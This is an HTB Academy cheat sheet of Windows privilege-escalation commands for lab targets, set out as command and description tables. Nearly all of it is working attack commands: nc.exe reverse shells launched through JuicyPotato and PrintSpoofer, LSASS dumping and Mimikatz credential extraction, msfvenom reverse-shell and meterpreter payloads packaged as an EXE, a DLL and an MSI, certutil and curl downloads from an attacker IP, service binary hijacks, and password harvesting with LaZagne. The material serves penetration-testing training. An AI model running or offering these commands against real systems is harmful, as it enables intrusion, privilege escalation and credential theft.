HACKTHEBOX

WINDOWS PRIVILEGE ESCALATION

CHEAT SHEET

HTB ACADEMY CHEATSHEET

Initial Enumeration

Command	Description
`xfreerdp /v:<target ip> /u:htb-student`	RDP to lab target
`ipconfig /all`	Get interface, IP address and DNS information
`arp -a`	Review ARP table
`route print`	Review routing table
`Get-MpComputerStatus`	Check Windows Defender status
`Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`	List AppLocker rules
`Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone`	Test AppLocker policy
`set`	Display all environment variables
`systeminfo`	View detailed system configuration information
`wmic qfe`	Get patches and updates
`wmic product get name`	Get installed programs

Command	Description
`tasklist /svc`	Display running processes
`query user`	Get logged-in users
`echo %USERNAME%`	Get current user
`whoami /priv`	View current user privileges
`whoami /groups`	View current user group information
`net user`	Get all system users
`net localgroup`	Get all system groups
`net localgroup administrators`	View details about a group
`net accounts`	Get passsword policy
`netstat -ano`	Display active network connections
`pipelist.exe /accepteula`	List named pipes
`gci \\.\pipe\`	List named pipes with PowerShell
`accesschk.exe /accepteula \\.\Pipe\lsass -v`	Review permissions on a named pipe

Handy Commands

Command	Description
`mssqlclient.py sql_dev@10.129.43.30 -windows-auth`	Connect using mssqlclient.py

Command	Description
`enable_xp_cmdshell`	Enable xp_cmdshell with mssqlclient.py
`xp_cmdshell whoami`	Run OS commands with xp_cmdshell
`c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *`	Escalate privileges with JuicyPotato
`c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"`	Escalating privileges with PrintSpoofer
`procdump.exe -accepteula -ma lsass.exe lsass.dmp`	Take memory dump with ProcDump
`sekurlsa::minidump lsass.dmp` and `sekurlsa::logonpasswords`	Use MimiKatz to extract credentials from LSASS memory dump
`dir /q C:\backups\wwwroot\web.config`	Checking ownership of a file
`takeown /f C:\backups\wwwroot\web.config`	Taking ownership of a file
`Get-ChildItem -Path 'C:\backups\wwwroot\web.config' | select name,directory, @{Name="Owner";Expression={(Ge t-ACL $_.Fullname).Owner}}`	Confirming changed ownership of a file
`icacls "C:\backups\wwwroot\web.config" /grant htb-student:F`	Modifying a file ACL

Command	Description
`secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL`	Extract hashes with secretsdump.py
`robocopy /B E:\Windows\NTDS .\ntds ntds.dit`	Copy files with ROBOCOPY
`wevtutil qe Security /rd:true /f:text | Select-String "/user"`	Searching security event logs
`wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"`	Passing credentials to wevtutil
`Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*' } | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}`	Searching event logs with PowerShell
`msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll`	Generate malicious DLL
`dnscmd.exe /config /serverlevelplugindll adduser.dll`	Loading a custom DLL with dnscmd
`wmic useraccount where name="netadm" get sid`	Finding a user's SID
`sc.exe sdshow DNS`	Checking permissions on DNS service
`sc stop dns`	Stopping a service
`sc start dns`	Starting a service
`reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters`	Querying a registry key

Command	Description
`reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll`	Deleting a registry key
`sc query dns`	Checking a service status
`Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local`	Disabling the global query block list
`Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3`	Adding a WPAD record
`cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp`	Compile with cl.exe
`reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"`	Add reference to a driver (1)
`reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1`	Add reference to a driver (2)
`.\DriverView.exe /stext drivers.txt` and `cat drivers.txt | Select-String -pattern Capcom`	Check if driver is loaded
`EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys`	Using EopLoadDriver
`c:\Tools\PsService.exe security AppReadiness`	Checking service permissions with PsService
`sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"`	Modifying a service binary path
`REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA`	Confirming UAC is enabled

Command	Description
`REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin`	Checking UAC level
`[environment]::OSVersion.Version`	Checking Windows version
`cmd /c echo %PATH%`	Reviewing path variable
`curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"`	Downloading file with cURL in PowerShell
`rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll`	Executing custom dll with rundll32.exe
`.\SharpUp.exe audit`	Running SharpUp
`icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"`	Checking service permissions with icacls
`cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"`	Replace a service binary
`wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """`	Searching for unquoted service paths
`accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services`	Checking for weak service ACLs in the Registry
`Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"`	Changing ImagePath with PowerShell

Command	Description
`Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl`	Check startup programs
`msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe`	Generating a malicious binary
`get-process -Id 3324`	Enumerating a process ID with PowerShell
`get-service | ? {$_.DisplayName -like 'Druva*'}`	Enumerate a running service by name with PowerShell

Credential Theft

Command	Description
`findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml`	Search for files with the phrase "password"
`gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password`	Searching for passwords in Chrome dictionary files
`(Get-PSReadLineOption).HistorySavePath`	Confirm PowerShell history save path
`gc (Get-PSReadLineOption).HistorySavePath`	Reading PowerShell history file
`$credential = Import-Clixml -Path 'C:\scripts\pass.xml'`	Decrypting PowerShell credentials
`cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt`	Searching file contents for a string
`findstr /si password *.xml *.ini *.txt *.config`	Searching file contents for a string

Command	Description
`findstr /spin "password" *.*`	Searching file contents for a string
`select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password`	Search file contents with PowerShell
`dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*`	Search for file extensions
`where /R C:\ *.config`	Search for file extensions
`Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore`	Search for file extensions using PowerShell
`cmdkey /list`	List saved credentials
`.\SharpChrome.exe logins /unprotect`	Retrieve saved Chrome credentials
`.\lazagne.exe -h`	View LaZagne help menu
`.\lazagne.exe all`	Run all LaZagne modules
`Invoke-SessionGopher -Target WINLPE-SRV01`	Running SessionGopher
`netsh wlan show profile`	View saved wireless networks
`netsh wlan show profile ilfreight_corp key=clear`	Retrieve saved wireless passwords

Other Commands

Command	Description
`certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat`	Transfer file with certutil
`certutil -encode file1 encodedfile`	Encode file with certutil

Command	Description
`certutil -decode encodedfile file2`	Decode file with certutil
`reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer`	Query for always install elevated registry key (1)
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`	Query for always install elevated registry key (2)
`msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi`	Generate a malicious MSI package
`msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart`	Executing an MSI package from command line
`schtasks /query /fo LIST /v`	Enumerate scheduled tasks
`Get-ScheduledTask | select TaskName,State`	Enumerate scheduled tasks with PowerShell
`.\accesschk64.exe /accepteula -s -d C:\Scripts\`	Check permissions on a directory
`Get-LocalUser`	Check local user description field
`Get-WmiObject -Class Win32_OperatingSystem | select Description`	Enumerate computer description field
`guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd`	Mount VMDK on Linux
`guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1`	Mount VHD/VHDX on Linux
`sudo python2.7 windows-exploit-suggester.py --update`	Update Windows Exploit Suggester database
`python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt`	Running Windows Exploit Suggester